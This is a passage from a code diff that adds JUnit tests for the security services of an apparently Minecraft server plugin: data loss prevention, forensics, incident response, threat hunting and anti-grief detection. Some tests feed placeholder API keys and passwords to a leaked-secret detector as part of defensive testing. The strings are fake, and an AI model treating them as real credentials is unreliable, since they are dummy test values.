DataLossPreventionService(); + DataLossPreventionService.DLPCheckResult result = dlp.scan( + "api_key=sk-proj-1234567890abcdefghij", "log", "server-console"); + assertTrue(result.isDetected()); + } + + @Test + void dlpDetectsPasswordLeak() { + DataLossPreventionService dlp = new DataLossPreventionService(); + DataLossPreventionService.DLPCheckResult result = dlp.scan( + "password=MySecretPassword123", "config", "file-content"); + assertTrue(result.isDetected()); + } + + @Test + void dlpRedactsSensitiveData() { + DataLossPreventionService dlp = new DataLossPreventionService(); + String redacted = dlp.redactSensitiveData("Contact admin@example.com for help"); + assertFalse(redacted.contains("admin@example.com")); + assertTrue(redacted.contains("REDACTED")); + } + + // --- MemoryProtectionService Tests --- + @Test + void memoryProtectionChecksHeap() { + MemoryProtectionService mem = new MemoryProtectionService(); + MemoryProtectionService.MemoryCheckResult result = mem.checkMemory(); + assertTrue(result.getHeapRatio() >= 0); + assertTrue(result.getHeapUsedMB() > 0); + assertTrue(result.getHeapMaxMB() > 0); + } + + @Test + void memoryProtectionStatusReturnsData() { + MemoryProtectionService mem = new MemoryProtectionService(); + var status = mem.getStatus(); + assertTrue(status.containsKey("heapUsedMB")); + assertTrue(status.containsKey("heapMaxMB")); + assertTrue(status.containsKey("heapRatio")); + } + + // --- ProcessInjectionDetectionService Tests --- + @Test + void processInjectionScanRuns() { + ProcessInjectionDetectionService pid = new ProcessInjectionDetectionService(); + ProcessInjectionDetectionService.InjectionCheckResult result = pid.scanProcesses(); + assertNotNull(result); + assertTrue(result.getProcessCount() >= 0); + } + + // --- SecureFileDeletionService Tests --- + @Test + void secureDeletionFileNotFound() { + SecureFileDeletionService sfd = new SecureFileDeletionService(); + SecureFileDeletionService.DeletionResult result = sfd.secureDelete("/nonexistent/file.txt"); + assertFalse(result.isSuccess()); + assertNotNull(result.getError()); + } + + // --- ForensicsCollectorService Tests --- + @Test + void forensicsOpenAndCloseCase() { + ForensicsCollectorService forensics = new ForensicsCollectorService(); + ForensicsCollectorService.ForensicsCase fCase = forensics.openCase( + "Test Incident", "Security test", "admin"); + assertNotNull(fCase); + assertNotNull(fCase.caseId); + assertTrue(fCase.caseId.startsWith("CASE-")); + + var evidence = forensics.collectTimestampSnapshot(fCase.caseId); + assertNotNull(evidence); + assertEquals("TIMESTAMP_SNAPSHOT", evidence.type); + + ForensicsCollectorService.ForensicsCase closed = forensics.closeCase( + fCase.caseId, "Test completed successfully", "admin"); + assertTrue(closed.closed); + } + + // --- IncidentResponseService Tests --- + @Test + void incidentResponseDeclaresDDoS() { + IncidentResponseService ir = new IncidentResponseService(); + IncidentResponseService.Incident incident = ir.declareIncident( + "DDOS_ATTACK", "SYN flood detected on port 25565", "10.0.0.1", + IncidentResponseService.IncidentSeverity.CRITICAL); + assertNotNull(incident); + assertNotNull(incident.incidentId); + assertEquals("DDOS_ATTACK", incident.type); + assertEquals(1, ir.getTotalIncidents()); + } + + @Test + void incidentResponseResolvesIncident() { + IncidentResponseService ir = new IncidentResponseService(); + IncidentResponseService.Incident incident = ir.declareIncident( + "BRUTE_FORCE", "Login brute force", "10.0.0.2", + IncidentResponseService.IncidentSeverity.HIGH); + IncidentResponseService.Incident resolved = ir.resolveIncident( + incident.incidentId, "Blocked source IP"); + assertNotNull(resolved); + assertTrue(resolved.resolved); + } + + // --- ThreatHuntingService Tests --- + @Test + void threatHuntingRunsHunt() { + ThreatHuntingService th = new ThreatHuntingService(); + ThreatHuntingService.HuntResult result = th.runHunt( + "UNUSUAL_LOGIN_TIMES", List.of("Player joined the game at 03:00 AM")); + assertNotNull(result); + assertEquals("UNUSUAL_LOGIN_TIMES", result.huntId); + } + + // --- ComplianceScannerService Tests --- + @Test + void complianceScannerRunsScan() { + ComplianceScannerService cs = new ComplianceScannerService(); + ComplianceScannerService.ComplianceReport report = cs.runComplianceScan(); + assertNotNull(report); + assertTrue(report.findings.size() > 0); + assertTrue(report.complianceScore >= 0 && report.complianceScore <= 100); + } + + // --- AntiGriefDetectionService Tests --- + @Test + void antiGriefDetectsRapidBlockBreak() { + AntiGriefDetectionService ag = new AntiGriefDetectionService(); + // Simulate many blocks broken rapidly + for (int i = 0; i < 151; i++) { + ag.checkBlockBreak("Griefer1", "STONE", i, 64, i, "world"); + } + var status = ag.getStatus(); + assertTrue((Long) status.get("totalGriefDetections") > 0); + } + + @Test + void antiGriefDetectsTNTPlacement() { + AntiGriefDetectionService ag = new AntiGriefDetectionService(); + AntiGriefDetectionService.GriefCheckResult result = ag.checkBlockPlace( + "Griefer2", "TNT", 100, 64, 100, "world"); + assertTrue(result.isSuspicious() || result.isFlagged()); + } + + @Test + void antiGriefAllowsNormalPlay() { + AntiGriefDetectionService ag = new AntiGriefDetectionService(); + AntiGriefDetectionService.GriefCheckResult result = ag.checkBlockBreak( + "GoodPlayer", "STONE", 10, 64, 10, "world"); + assertFalse(result.isFlagged()); + } + + @Test + void antiGriefClearPlayerResets() { + AntiGriefDetectionService ag = new AntiGriefDetectionService(); + for (int i = 0; i < 151; i++) { + ag.checkBlockBreak("TempGriefer", "STONE", i, 64, i, "world"); + } + ag.clearPlayer("TempGriefer"); + AntiGriefDetectionService.GriefCheckResult result = ag.checkBlockBreak( + "TempGriefer", "STONE", 0, 64, 0, "world"); + assertFalse(result.isFlagged()); + } +}